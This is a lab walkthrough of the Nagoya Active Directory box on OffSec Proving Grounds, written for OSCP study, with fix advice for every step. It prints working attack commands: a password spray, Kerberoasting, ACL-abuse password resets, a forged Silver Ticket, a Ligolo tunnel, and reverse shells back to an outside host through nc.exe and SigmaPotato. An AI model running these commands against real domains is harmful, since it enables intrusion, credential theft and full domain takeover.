OSCP Prep #26

Nagoya — Proving Grounds Practice Walkthrough
Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Hard Category: Active Directory (Full Domain Compromise)
Table of Contents
-
- 2.1 Recommendations
-
3.3 Penetration
3.5 House Cleaning
1. Introduction
Nagoya is a Hard-rated Active Directory box on OffSec's Proving Grounds Practice. On paper it's a single host, but that host is a Domain Controller running the full stack of AD services, and the intended path chains together a long series of techniques: web-based OSINT, targeted wordlist generation, password spraying, Kerberoasting, ACL abuse across a chain of users, internal port forwarding, a Silver Ticket forgery, and finally a token-impersonation privilege escalation to SYSTEM.
What makes this box worth writing up isn't any single exploit — it's the methodology. The initial foothold hinges entirely on a repeatable protocol I've come to rely on: scrape the target's public content for vocabulary, then transform that vocabulary into password candidates that match how humans actually build passwords. That protocol is the real lesson here, so I've given it its own section rather than burying it in a wall of commands.
This writeup follows the whole chain from an empty terminal to proof.txt, and I've tried to explain the reasoning at each decision point rather than just listing what worked.
2. High-Level Summary
Starting from zero credentials, I enumerated the Domain Controller and confirmed anonymous access was locked down across SMB, RPC, and LDAP. The web server on port 80 leaked a roster of employee names, which I converted into a valid domain username list using username-anarchy and kerbrute.
I then generated a targeted password spray list from the website's own content using CeWL and hashcat-utils combinator, and recovered the credential pair andrea.hayes:Nagoya2023. From there:
Kerberoasted the domain's service accounts and cracked
svc_mssql's hash offline.Used BloodHound to map an ACL abuse path (
andrea→svc_helpdesk→christopher.lewis) that granted WinRM access.Forwarded the internally-firewalled MSSQL port off the box with Ligolo-ng.
Forged a Silver Ticket to authenticate to MSSQL as a SQL sysadmin, unlocking
xp_cmdshell.Landed a shell as
svc_mssql, which held SeImpersonatePrivilege, and used SigmaPotato to escalate to NT AUTHORITY\SYSTEM.
All flags were captured. Every step below is reproducible.
2.1 Recommendations
At a non-technical level, the compromise of this host came down to a small number of correctable weaknesses, and remediating any one of them would have broken the chain:
Enforce a strong password policy. The entire foothold rested on a single account using a predictable company-name-plus-year password. Prohibiting organization-specific terms and common
Word+Yearpatterns, and enforcing length and complexity, closes the initial door.Harden service accounts. Two separate escalation steps (Kerberoasting and the Silver Ticket) were only possible because a service account used a weak, crackable password. Group Managed Service Accounts with long random secrets make both attacks infeasible.
Audit Active Directory permissions. The privilege escalation ran entirely through excessive
GenericAllrights that let ordinary accounts reset other users' passwords. Regular ACL review with tooling like BloodHound would surface and eliminate these paths.Apply least privilege to interactive access and SQL. Restricting Remote Management Users membership and removing unnecessary
SeImpersonatePrivilege/xp_cmdshellcapability would have blocked the final escalation to SYSTEM.
3. Methodology
3.1 Information Gathering
The scope of this engagement was a single target host, 192.168.148.21, to be assessed from an external position with no starting credentials. The objective was to identify the services exposed by the host, determine its role, and work methodically toward a foothold and full compromise.
The engagement began with a full TCP service and version scan against the target — every conclusion that follows is derived from its output:
sudo nmap -sCV -p- 192.168.148.21 -vv -T4
The scan immediately established that the target is a Domain Controller for the nagoya-industries.com domain — the simultaneous presence of DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and AD Web Services (9389) is the defining fingerprint. The rdp-ntlm-info NSE script confirmed the naming context:
Domain:
nagoya-industries.comNetBIOS name:
NAGOYAFQDN:
nagoya.nagoya-industries.comOS: Windows Server 2019 (Build 17763), configured as the Primary Domain Controller
SMB signing was enabled and required, which rules out relay attacks later on. The full port breakdown is tabulated in 3.2 below.
Because those conclusions came from the scan, the first action taken on them was to add the discovered FQDN to /etc/hosts — Kerberos-aware tooling resolves by hostname and fails on bare IPs:
192.168.148.21 nagoya.nagoya-industries.com nagoya-industries.com nagoya
Note on the target IP: Partway through this engagement the box was redeployed and Proving Grounds reassigned it from
192.168.148.21to192.168.108.21. The enumeration screenshots show the original address and the exploitation screenshots show the new one — this is expected, not an inconsistency. Each command below reflects the IP that was live at the time it was run.
3.2 Service Enumeration
Port Scan Results
The full -p- scan from 3.1 returned 23 open TCP ports. The table below lists the notable services that define the target's role; the remainder were high-numbered ephemeral Microsoft RPC ports (49xxx) typical of a Windows DC and not individually significant.
| IP Address | Notable Ports Open |
|---|---|
| 192.168.148.21 | TCP: 53 (DNS), 80 (HTTP/IIS 10), 88 (Kerberos), 135 (MSRPC), 139 (NetBIOS), 389 / 636 / 3268 / 3269 (LDAP / LDAPS / Global Catalog), 445 (SMB), 464 (kpasswd), 593 (RPC-over-HTTP), 3389 (RDP), 5985 (WinRM), 9389 (AD Web Services) |
With the DC identified and its services enumerated, I worked through the low-hanging fruit first: anonymous and guest access to the domain's core services. This is always the cheapest thing to check, and if it lands it can hand you the entire user list for free.
SMB — null and guest sessions:
nxc smb 192.168.148.21 -u '' -p '' --shares
nxc smb 192.168.148.21 -u 'guest' -p '' --shares
The null session authenticated but returned STATUS_ACCESS_DENIED on share enumeration, and the guest account came back STATUS_ACCOUNT_DISABLED. No free access there.
RPC — anonymous user enumeration:
rpcclient -U "" -N 192.168.148.21
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
LDAP — anonymous bind:
nxc ldap 192.168.148.21 -u '' -p '' --users
LDAP rejected the anonymous search, requiring a successful bind first. Every unauthenticated avenue into the directory was closed. With anonymous enumeration exhausted, I shifted focus to the one service that was still openly accessible: the web server.
3.3 Penetration
The full penetration path — from web OSINT through to SYSTEM — is documented target-by-target in the section below. The condensed sequence was: harvest usernames from the website, validate them over Kerberos, spray a self-generated wordlist to obtain a foothold credential, Kerberoast and abuse ACLs to reach an interactive shell, then pivot through a firewalled SQL service via a forged ticket and escalate through token impersonation.
3.4 Maintaining Access
This assessment was conducted against a lab target, so persistence mechanisms were intentionally not deployed. In a real engagement, the compromise of the svc_mssql account secret alone would be sufficient to forge Silver Tickets for the MSSQL service indefinitely, and full SYSTEM/Domain Controller access would permit extraction of the krbtgt hash for Golden Ticket persistence. None of that was necessary here.
3.5 House Cleaning
All tooling uploaded to the target during the engagement (RunasCs.exe, agent.exe, nc.exe, SigmaPotato.exe) was staged in C:\ProgramData and would be removed as part of post-engagement cleanup. All password changes made during ACL abuse were made against lab accounts and would be reported for reset in a real assessment.
4. Core Methodology: Wordlist Generation From Target Content
Before walking through the attack chain, this section deserves its own spotlight, because it's the technique the entire foothold depends on and it's the most transferable skill the box teaches.
The problem: on a hardened AD box with no anonymous access, your only way in is often a weak password on a valid account. But spraying rockyou.txt against a domain is slow, noisy, and — against a lockout policy — dangerous. What you want instead is a small, precise list of candidates that reflect how a real person at this specific organization would build a password.
Corporate and lab passwords overwhelmingly follow a predictable grammar: a meaningful word + a year, with the first letter capitalized, sometimes with a trailing symbol. Summer2023, Nagoya2023, Fishing2024. The word comes from the organization's world; the year comes from a date on their site. No tool does this end-to-end, so the protocol is a two-stage pipeline: one tool supplies the vocabulary, another applies the grammar.
Stage 1 — Scrape the vocabulary with CeWL.
CeWL spiders a website and extracts every unique word on the page into a wordlist. It's the fastest way to build an organization-specific dictionary — company name, product terms, employee names, industry jargon.
cewl -w newpass.txt -d 2 -m 4 http://nagoya-industries.com/ --with-numbers
The flags: -d 2 sets crawl depth (how many links deep to follow — depth 2 fully covers a small site like this without wasting time re-crawling), -m 4 sets the minimum word length to filter out noise, and --with-numbers tells CeWL to also capture numeric tokens like the 2023 in the site's copyright footer.
A critical thing to understand about CeWL's output: it captures 2023 as its own standalone entry. CeWL has no concept of gluing that year onto other words — it only extracts what's literally present as discrete tokens. That concatenation is a separate step, which is exactly the point of Stage 2.
From the raw CeWL output I manually pruned entries that were obviously useless as password bases (stopwords like "that", "have", "where") and kept the meaningful ones: the company name, employee surnames, and industry terms. I also merged in a small curated seed list of common base words, capitalized, to widen the net slightly.
Stage 2 — Apply the grammar with combinator.
combinator.bin from hashcat-utils takes two wordlists and produces every possible concatenation of a word from the first with a word from the second. By combining my pruned base-word list against a short list of candidate years, I generated the actual spray candidates in the Word+Year pattern:
/usr/share/hashcat-utils/combinator.bin neopass.txt newpass.txt > zionpass.txt
I verified the pipeline had actually produced viable candidates before spraying:
grep Summer2023 zionpass.txt
Summer2023
That confirmation is the whole methodology paying off — my generated list provably contained the kind of candidate that unlocks the box, built entirely from the site's own content plus a date I read off the footer.
Why not just use rule-based mutation (best64, etc.)? I initially tried john --rules=best64 against the base words. It's the wrong tool for this pattern. Generic rule sets like best64 mutate via case-toggling, leetspeak substitution, and single-character appends — they're tuned for cracking arbitrary hashes at volume, not for cleanly reconstructing a word + four-digit-year concatenation. The stock rules don't reliably chain four sequential digit-appends to bolt "2023" onto a word. Combinator does exactly that, deterministically. CeWL builds your dictionary, but you have to supply the grammar — and combinator is the right tool for that grammar.
This is the repeatable protocol I now reach for any time a target exposes public web content and I need a foothold credential:
Scrape for vocabulary with CeWL (
--with-numbers, plus-aand--meta_filewhen there's metadata worth pulling).Identify the convention, not just the words — look at how the site presents dates (copyright footer, "in business since…" claims) and map that to a human password habit.
Generate combinatorially with
combinator.binrather than leaning on generic rule sets.Always pull the lockout policy first so the spray doesn't lock accounts.
5. Attack Path
5.1 Initial Access — Web OSINT to Valid Usernames
Vulnerability Explanation: The public-facing web server discloses a complete roster of employee full names on its team page.
In an Active Directory environment where usernames follow a predictable first.last convention, a public employee list is effectively a disclosure of valid domain usernames — the raw material for both password spraying and Kerberos-based attacks.
Vulnerability Fix: Avoid publishing complete staff directories on public-facing sites where not operationally necessary. More importantly, enforce a strong password policy and account lockout thresholds so that a known username list cannot be leveraged into access via spraying.
Severity: Medium (as an information disclosure; it becomes Critical in combination with the weak password below)
Steps to reproduce the attack:
Browsing to the site on port 80 reveals "Nagoya Industries," a fishing company. Two details on the landing page matter immediately: the © 2023 in the footer (a year for later use), and the navigation.
A content discovery scan confirmed there were no hidden endpoints beyond what was linked in the navigation:
ffuf -u http://192.168.148.21/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
The only meaningful result was the team page, which was already linked and which exposed the full list of employee names.
I saved those names to a file and generated username permutations with username-anarchy:
username-anarchy -i users.txt > user.txt
This produces a large set of candidate formats (fiona.clark, fclark, clarkf, etc.). To find which format the domain actually uses — and which accounts genuinely exist — I validated the whole list against Kerberos pre-authentication with kerbrute, which is non-intrusive and doesn't generate failed-logon events for valid users:
kerbrute userenum userr.txt -d nagoya-industries.com --dc 192.168.148.21
This returned 28 valid usernames, confirming the domain uses the first.last format. Critically, this included andrea.hayes, christopher.lewis, and the accounts that would matter later in the chain.
5.2 Initial Access — Password Spraying to a Foothold Credential
Vulnerability Explanation: At least one domain account (andrea.hayes) was protected by a weak, formulaic password (Nagoya2023) built from the company name and a year visible on the corporate website. This password is trivially guessable using content scraped from the organization's own public site.
Vulnerability Fix: Enforce a password policy that prohibits passwords containing the company name and rejects predictable Word+Year patterns. Implement and monitor account lockout thresholds. Consider deploying a banned-password list seeded with organization-specific terms.
Severity: Critical
Steps to reproduce the attack:
Using the wordlist generated with the CeWL → combinator pipeline described in the section above, I sprayed the validated username list over SMB using NetExec:
nxc smb 192.168.148.21 -u users.txt -p zionpass.txt --continue-on-success
The spray returned a hit:
SMB 192.168.148.21 445 NAGOYA [+] nagoya-industries.com\andrea.hayes:Nagoya2023
With a valid domain credential in hand, share enumeration now succeeded, showing the standard DC shares (SYSVOL, NETLOGON, IPC$ as READ). A second credential, fiona.clark:Summer2023, was also recovered — a useful illustration of a key AD concept: fiona's credentials worked for SMB and RDP but were rejected for WinRM, because valid domain credentials do not automatically grant interactive access. That distinction becomes the pivot point later in the chain.
5.3 Post-Exploitation — Kerberoasting the Service Accounts
Vulnerability Explanation: The domain contains service accounts (svc_helpdesk, svc_mssql) with Service Principal Names registered. Any authenticated domain user can request a Kerberos service ticket for these accounts, which is encrypted with the service account's password hash and can be cracked offline. svc_mssql used a weak password that fell to a dictionary attack in seconds.
Vulnerability Fix: Use Group Managed Service Accounts (gMSA) or enforce very long (25+ character) random passwords for all SPN-bearing service accounts, making offline cracking infeasible.
Severity: High
Steps to reproduce the attack:
With any valid credential, the correct first move against a domain is to Kerberoast — it's cheap, it's low-noise, and it only requires an authenticated user regardless of privilege level. I requested TGS tickets for all SPN-bearing accounts using andrea's credentials:
impacket-GetUserSPNs nagoya-industries.com/andrea.hayes -request
This returned crackable hashes for two service accounts, svc_helpdesk and svc_mssql. I saved them and ran them against rockyou.txt with John:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
The svc_mssql hash cracked almost instantly to Service1. The svc_helpdesk hash did not crack against rockyou, but as it turns out I wouldn't need it to — I'd obtain control of that account a different way.
A precise note on why this matters, since it's easy to state imprecisely: Kerberoasting gets you a crackable credential for the service account — nothing more at this stage. It does not by itself grant any special token or privilege. The reason svc_mssql becomes the key to the whole box is separate: because the MSSQL service runs as svc_mssql on the host, that account is granted SeImpersonatePrivilege at the OS level. But that privilege only becomes usable once I'm executing code inside the service's process context on the machine — which requires the Silver Ticket and xp_cmdshell steps further down. The cracked hash is the credential that eventually gets me there; it is not the privilege itself. Conflating "I Kerberoasted a service account" with "I have SeImpersonate" is a common shortcut, and keeping the two distinct is what makes the rest of the path make sense.
5.4 Privilege Escalation — ACL Abuse Chain to WinRM Access
Vulnerability Explanation: The andrea.hayes account holds GenericAll rights over the svc_helpdesk account, which in turn holds GenericAll over a set of other users — including christopher.lewis, a member of the Remote Management Users group. GenericAll permits an attacker to reset the target's password outright, allowing a chain of account takeovers that terminates at an account with interactive (WinRM) access.
Vulnerability Fix: Audit and remediate excessive Active Directory ACLs. No standard user should hold GenericAll over other user objects. Apply least-privilege delegation and regularly review object permissions with tooling like BloodHound.
Severity: Critical
Steps to reproduce the attack:
To understand what andrea's access was actually good for, I collected the domain's object and ACL data with RustHound-CE (a fast, modern BloodHound collector) using her credentials:
rusthound-ce -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com -c All -z -n 192.168.148.21
I ingested the resulting ZIP into BloodHound and ran the "Shortest Paths from Owned Principals" analysis. The graph revealed the outbound control path clearly: andrea (via the employees group) has GenericAll over svc_helpdesk and several other users.
Following the chain further, svc_helpdesk in turn had control leading to christopher.lewis — and christopher's membership in Remote Management Users is what makes him the target:
that group grants WinRM access, the interactive foothold none of the other accounts provided.
I abused the chain with bloodyAD, resetting each target's password in sequence. The first attempt against svc_helpdesk was rejected for failing the domain's password complexity requirement — a small but instructive detail — and succeeded once I supplied a compliant password:
bloodyAD -u andrea.hayes -p Nagoya2023 -d nagoya-industries.com --host 192.168.108.21 set password svc_helpdesk 'Password123!'
Then I used my newly-controlled svc_helpdesk to reset christopher's password in turn:
bloodyAD -u svc_helpdesk -p 'Password123!' -d nagoya-industries.com --host 192.168.108.21 set password christopher.lewis 'Password123!'
A NetExec check confirmed christopher now had WinRM access with a (Pwn3d!) result, and I connected with Evil-WinRM:
evil-winrm -i 192.168.108.21 -u christopher.lewis -p 'Password123!'
This shell yielded the user flag from C:\local.txt:
local.txt: 9a376490a4d65f9b293276aec725c5eb
However, whoami /all on christopher confirmed he held no useful privileges for escalation — only the defaults (SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege). Christopher was never meant to be the escalation vehicle; he was the interactive access vehicle. The escalation had to come from elsewhere.
5.5 Privilege Escalation — Reaching the Firewalled MSSQL Service
Vulnerability Explanation: The host runs a Microsoft SQL Server instance on port 1433 that is bound to all interfaces but blocked at the network perimeter by a host firewall — it does not appear in an external port scan, yet is fully accessible locally on the box. Combined with an interactive foothold, this internally-reachable service becomes a viable escalation vector via xp_cmdshell.
Vulnerability Fix: Ensure host-based firewall rules are consistent with intent; if MSSQL is meant to be local-only, bind it to loopback rather than relying solely on perimeter filtering. Restrict xp_cmdshell and apply least privilege to SQL logins.
Severity: High
Steps to reproduce the attack:
From christopher's shell, I enumerated locally listening ports:
netstat -ano | findstr LISTEN
Port 1433 was listening — even though it had never appeared in the external nmap scan. The only conclusion is a host firewall blocking it at the perimeter, meaning MSSQL is reachable only from on the box itself. This is significant: MSSQL's xp_cmdshell procedure allows OS command execution as the account running the SQL service. If I could reach that service and enable xp_cmdshell, I'd get command execution as svc_mssql — the account I already knew (from the Kerberoast) and, more importantly, the account that would hold SeImpersonatePrivilege.
To reach the firewalled port from my attack box, I set up a tunnel with Ligolo-ng. I uploaded the agent to the target, started the proxy and listener on my side, and added a route for the tunnel's virtual interface:
# On Kali
sudo ligolo-proxy -selfcert
sudo ip route add 240.0.0.1/32 dev ligolo
# On target (via christopher's shell)
Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.245:11601 -ignore-cert"
With the tunnel up and the session started, MSSQL on the target's port 1433 was now reachable through the virtual 240.0.0.1 address as if it were local.
5.6 Privilege Escalation — Silver Ticket to SQL Sysadmin
Vulnerability Explanation: Because the svc_mssql account's password (and therefore its NT hash) is known, an attacker can forge a Kerberos Silver Ticket for the MSSQL service. This ticket can assert arbitrary group membership and impersonate a privileged user (Administrator) to that specific service, without ever contacting the KDC — granting SQL sysadmin rights that the svc_mssql login itself did not possess.
Vulnerability Fix: Rotate service account credentials regularly and use gMSA. Enforce SMB/LDAP signing and, where possible, restrict Kerberos encryption types. Monitor for TGS requests without corresponding TGT requests, which can indicate ticket forgery.
Severity: Critical
Steps to reproduce the attack:
Authenticating to MSSQL directly with the cracked svc_mssql:Service1 credentials worked, but the login had no administrative rights inside SQL — attempting to enable xp_cmdshell failed:
SQL (NAGOYA-IND\svc_mssql guest@master)> enable_xp_cmdshell
ERROR: User does not have permission to perform this action.
The account could log in but was not a SQL sysadmin. This is precisely the scenario a Silver Ticket solves: I could forge a ticket for the MSSQL service that claims to be the Administrator with Domain Admins group membership. The SQL service trusts the ticket implicitly because it's encrypted with the service account's own key, which I possessed.
First I computed the NT hash of the known password:
python3 -c "from impacket.ntlm import compute_nthash; print(compute_nthash('Service1').hex())"
e3a0168bc21cfb88b95c954a5b18f57c
Then I forged the ticket with impacket-ticketer, supplying the domain SID (pulled from the BloodHound data I'd already collected), the MSSQL SPN, and impersonating the Administrator (user-id 500) with the Domain Users and Domain Admins group RIDs (513, 512):
impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain nagoya-industries.com \
-spn MSSQL/nagoya.nagoya-industries.com \
-user-id 500 -groups 513,512 Administrator
I loaded the resulting ticket into my environment:
export KRB5CCNAME="$PWD/Administrator.ccache"
And authenticated to MSSQL through the Ligolo tunnel using the forged ticket. This time the connection came back as Administrator with a (Pwn3d!) result, confirming SQL sysadmin rights:
nxc mssql 240.0.0.1 --use-kcache -x whoami
MSSQL 240.0.0.1 1433 NAGOYA [+] nagoya-industries.com\Administrator from ccache (Pwn3d!)
MSSQL 240.0.0.1 1433 NAGOYA nagoya-ind\svc_mssql
Note the crux of the technique in that output: the Silver Ticket authenticated me as Administrator to the SQL service, which is what unlocked xp_cmdshell — but the OS command itself executes as svc_mssql, the account the service runs under. That's exactly what I wanted, because svc_mssql is the account holding SeImpersonatePrivilege.
5.7 Privilege Escalation — SeImpersonate to SYSTEM
Vulnerability Explanation: The svc_mssql service account holds SeImpersonatePrivilege. This privilege allows a process to impersonate the security context of any client that connects to it, which can be abused with a "potato"-family exploit to capture and impersonate the SYSTEM token, resulting in full local privilege escalation.
Vulnerability Fix: Where feasible, run SQL Server under a Group Managed Service Account with the minimum required privileges, and be aware that SeImpersonatePrivilege is a well-known escalation primitive. Keep the OS patched and monitor for the named-pipe and token-manipulation behavior these exploits produce.
Severity: Critical
Steps to reproduce the attack:
Using the forged-ticket MSSQL access, I staged a netcat binary and used xp_cmdshell to fire a reverse shell back to my listener, landing a shell as svc_mssql.
Confirming the privilege set:
PS C:\Windows\system32> whoami /priv
The output confirmed SeImpersonatePrivilege was present and Enabled.
This is the green light for a potato attack. I uploaded SigmaPotato and used it to impersonate the SYSTEM token and spawn a new reverse shell:
.\sp.exe "cmd /c C:\ProgramData\nc.exe -e cmd.exe 192.168.45.245 443"
SigmaPotato's output walked through the impersonation cleanly:
The new shell landed as NT AUTHORITY\SYSTEM:
C:\ProgramData>whoami
nt authority\system
5.8 Post-Exploitation — Proof
With SYSTEM access on the Domain Controller, the box was fully compromised. Both flags were retrieved with their host context shown.
Local.txt value:
The user flag was captured earlier from the Evil-WinRM session as christopher.lewis (see 5.4), read from the root of the C: drive:
*Evil-WinRM* PS C:\> type local.txt
9a376490a4d65f9b293276aec725c5eb
Proof.txt value:
The proof flag was captured from the Administrator's desktop in the final SYSTEM shell:
C:\Users\Administrator\Desktop>whoami && type proof.txt
nt authority\system
e6c616d7a54a5878b928b3174ccb0b57
6. What Didn't Work
Methodical elimination is as much a part of the process as the successful path, so it's worth recording the branches I ruled out:
AS-REP Roasting was checked and came up empty. Running
impacket-GetNPUsersagainst the full user list returneddoesn't have UF_DONT_REQUIRE_PREAUTH setfor every one of the 27 accounts — no account had Kerberos pre-authentication disabled, so this vector was closed.Shadow Credentials / PKINIT against
svc_helpdeskfailed withKDC_ERR_PADATA_TYPE_NOSUPP. This error indicates the domain has no Active Directory Certificate Services (AD CS) / Certificate Authority, so certificate-based authentication has nothing to validate against. This is what pushed me toward a directGenericAllpassword reset instead — the right call, since the ACL abuse path was the intended one.RunasCs with the cracked
svc_mssqlcredentials failed with a logon-type error (logon type '2' is not granted), because the account was only permitted network logons (type 3), not interactive (type 2). This is why the path had to route through the MSSQL service rather than a directrunas-style credential swap.
7. Conclusion
Nagoya is a genuinely well-constructed Hard box because it doesn't rely on a single trick — it demands a coherent chain of reasoning where each step unlocks the conditions for the next. The standout lesson, and the reason it's worth studying, is the initial foothold: it rewards a disciplined, repeatable protocol for turning a target's own public content into a precise, effective password spray list. Scrape the vocabulary, supply the grammar, and keep the list small and targeted rather than brute-forcing blindly.
From there the box is a tour of the modern AD attack surface — Kerberoasting, BloodHound-driven ACL abuse, internal pivoting with Ligolo-ng, Silver Ticket forgery, and a classic SeImpersonate escalation. Each technique is worth knowing on its own; chaining them under a clear methodology is what turns a hard box into a solved one.





